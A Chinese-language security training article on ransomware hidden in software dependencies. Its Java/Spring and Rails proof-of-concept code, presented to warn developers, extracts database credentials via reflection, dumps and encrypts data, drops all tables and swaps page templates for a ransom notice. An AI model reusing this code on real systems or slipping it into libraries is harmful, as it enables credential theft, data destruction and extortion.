天创培训:您身边的信息安全培训专家!
技术中心
基于程序库的勒索软件—瞄准开发人员

当前,勒索软件已经成为一种日益严重的威胁。例如,最近人们发现了一种称为“Locky”的勒索软件正在通过Facebook Messenger大肆传播,而上周末,旧金山的地铁系统则遭到了勒索软件的入侵。今天,我们将深入了解勒索软件如何瞄准开发人员,通过依赖库进行传播。 
 
什么是勒索软件?
勒索软件是一种通过阻止人们正常访问计算机系统来勒索赎金的恶意软件。之前,勒索软件主要针对台式计算机和移动设备,但是随着物联网设备的普及,它很可能会迅速扩展其攻击范围。
勒索软件这个概念与其他恶意软件有许多相似的地方:攻击者在受害者的计算机上获得更高的权限后,它们不是去搞一些毫无意义的破坏活动,而是试图通过勒索受害者来获利。这是因为,受到勒索软件攻击之后,计算机中的数据通常会被它们加密,需要交钱后才能“赎身”。
 
可疑的依赖库
那为什么要瞄准开发人员呢?要知道,他们通常更加技术精湛,并且很少安装可疑程序的。很明显,相对于绑架家用计算机来说,攻击开发者的机器的收益可能会更大,因为攻击者这样做的话,有可能控制一连串的生产环境中的系统。只要绑架的系统越多越有价值,移动勒索软件开发者就可以勒索更多的赎金。
这种勒索软件可以包含在无害的依赖库中。下面通过一个具体的例子来介绍它的工作原理。虽然这里使用的是基于Java(Spring)和Ruby(Rails)的示例,但是这些技术同样适用于其他语言和框架。
下面,让我们从一个使用MySQL的Spring MVC应用程序为例进行介绍。 
    mysql/groupId>
    mysql-connector-java/artifactId>
    5.1.9/version>
/dependency>
  
# persistence-mysql.properties
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/dbransom
dataSource.username=root
dataSource.password=password
  
hibernate.dialect=org.hibernate.dialect.MySQLDialect
hibernate.hbm2ddl.auto=create
此外,我们还将包括一个可疑的依赖库:
    org.evil/groupId>
    evil-utils/artifactId>
    1.0/version>
/dependency>
它提供了一个供外部调用的EvilUtils.padLeft方法,它将作为Web服务的一部分被调用。
 
反射
攻击者一旦在应用中植入了恶意软件包,那基本上就可以为所欲为了。从某种程度上来说,这相当于在应用程序的环境中获得了远程代码执行能力,从安全的角度来说,这通常是灾难性的。
为了获得赎金,攻击者需要绑架一个足够重要的目标。在这里数据库是个不错的目标坐标,因为这是一个Spring应用程序,攻击者可以很容易找到它——只要获得Spring应用程序的上下文并定位正确的bean即可。 
class EvilUtils {
  // Access the Spring context
  @Autowired
  private WebApplicationContext ctx;
  
  EvilUtils() {
    SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
  }
  
  DataSource getDataSource() {
    DataSource ds = null;
    try {
      ds = (DataSource) ctx.getBean("dataSource");
      return new JdbcTemplate(ds);
    } catch (NoSuchBeanDefinitionException e) {}
    // ...
  }
  
  public String padLeft(String s) {
    return " " + s;
  }
}
如果这行不通的话,我们可以访问类加载器,并寻找一个具有返回某种DataSource的方法的类即可。 
for (Class klass : loadedClasses()) {
  Method[] methods = klass.getMethods();
  
  for (Method m : methods) {
    if (m.getReturnType() != DataSource.class) {
      continue;
    }
  
    // We've found a target!
    m.setAccessible(true);
    for (Constructor ctor : klass.getDeclaredConstructors()) {
      // Instantiate the target bean and autowire its dependencies
      if (ctor.getGenericParameterTypes().length == 0) {
        ctor.setAccessible(true);
        Object instance = ctor.newInstance();
        SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance);
        beanFactory.autowireBean(instance);
        ds = (DataSource) m.invoke(instance);
      }
    }
  
    if (ds != null) {
      return ds;
    }
  }
}
进行反射,这样攻击者就可以通过它来获取数据库连接的各种细节了。
import com.mysql.jdbc.ConnectionImpl;
  
void getConnectionInfo() {
  Field f;
  
  f = ConnectionImpl.class.getDeclaredField("user");
  f.setAccessible(true);
  String username = (String) f.get(conn);
  
  f = ConnectionImpl.class.getDeclaredField("password");

f.setAccessible(true);
  String password = (String) f.get(conn);
  
  f = ConnectionImpl.class.getDeclaredField("host");
  f.setAccessible(true);
  String host = (String) f.get(conn);
  
  f = ConnectionImpl.class.getDeclaredField("database");
  f.setAccessible(true);
  String database = (String) f.get(conn);
  
  // ...
}
然后,我们可以使用这里的凭证来创建一个新的连接来访问数据库。
下一步是设法让受害者无法访问数据。就目前来说,我们可以使用各种各样的方式来做到这一点;其中最简单的方法是将数据库内容转储到一个文件中,加密文件,然后删除所有数据表。
 
PWN3D
攻击者最后一步是确保受害者知道他们已经被“绑架”了,同时提供收款用的比特币地址。攻击者可以找到他们的模板文件,加密它们,然后用一个有趣的消息来替换它们。
void gloat() {
  // Locate web resources
  File f = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  String path = f.getPath();
  int indx = path.indexOf("/WEB-INF/lib/");
  path = path.substring(0, indx + 9) + "views";
  
  // Replace them with our custom views
  for (File template : getFilesFromPath(path)) {
    if (template.getName().endsWith(".jsp")) {
      encryptAndMove(template);
      moveResource("pwned.jsp", template.getPath());
    }
  }
}

很明显,攻击者是不希望加密密钥出现在恶意库本身中的,因为这将使其易受逆向工程的影响。不过这不是个大问题,因为可以使用公钥加密技术,即使暴露一个密钥,受害者也无计可施。
这里介绍的技术还可以进一步优化,例如只在生产系统上面触发漏洞,或者添加一种方式来远程触发它。
Rails
这个攻击手法的Rails版本要简单得多:我们只需从ActiveRecord :: Base.connection_config [:password]获取密码即可。这里是一个使用SQLite的完整漏洞的示例:
def delete_db
  conn = ActiveRecord::Base.connection
  
  if conn.adapter_name.eql? 'SQLite'
    sqliteDb = ActiveRecord::Base.connection_config[:database]
    puts `sqlite3 #{sqliteDb} .dump > dump.sql;`
  
    # Encrypt file
    file_path = `pwd`
    encrypt_file(file_path.chop, 'dump.sql')
  
    # Delete dump
    FileUtils.rm_r "#{file_path.chop}/dump.sql"
  
    # Drop all tables
    conn.data_sources.each do |table_name|
      conn.drop_table(table_name)
    end
end
由于通过程序库访问数据库是一种正常的用法,所以很难区分哪些是恶意访问,哪些是无害访问。
一般来说,动态语言在这方面要更加脆弱,因为对它们进行静态分析的难度更大,并且在运行时违反封装和做事情的障碍通常更少。
攻击向量
我们提出的具体例子可能看起来有点勉强——它要求许多东西以特定的方式精确发生才能奏效。但是,它确实是可能发生的。 有人可能会说,让开发者依赖可疑的软件包是很困难的;但是事实却是——这容易得吓人。
即使对于包管理器来说,Typosquatting攻击也是一个非常让人头疼的事情。更何况,即使是最愚蠢的技术也常常能够让许多人上当;有时候,攻击者会发布一个软件的二进制版本,虽然声称是从正规渠道的源代码构建的,但是背地里却放入了蠕虫……当然,对于那些本身就有安全漏洞的包管理器来说,根本就无需依赖于社会工程了。此外,还存在更多的创造性的方法可以用来散布恶意软件包。
 
结束语
在使用第三方代码的依赖库时,会面临许多固有的风险。所以要对它们进行相应的安全审计,以防着了隐藏在它们中间的勒索软件的道。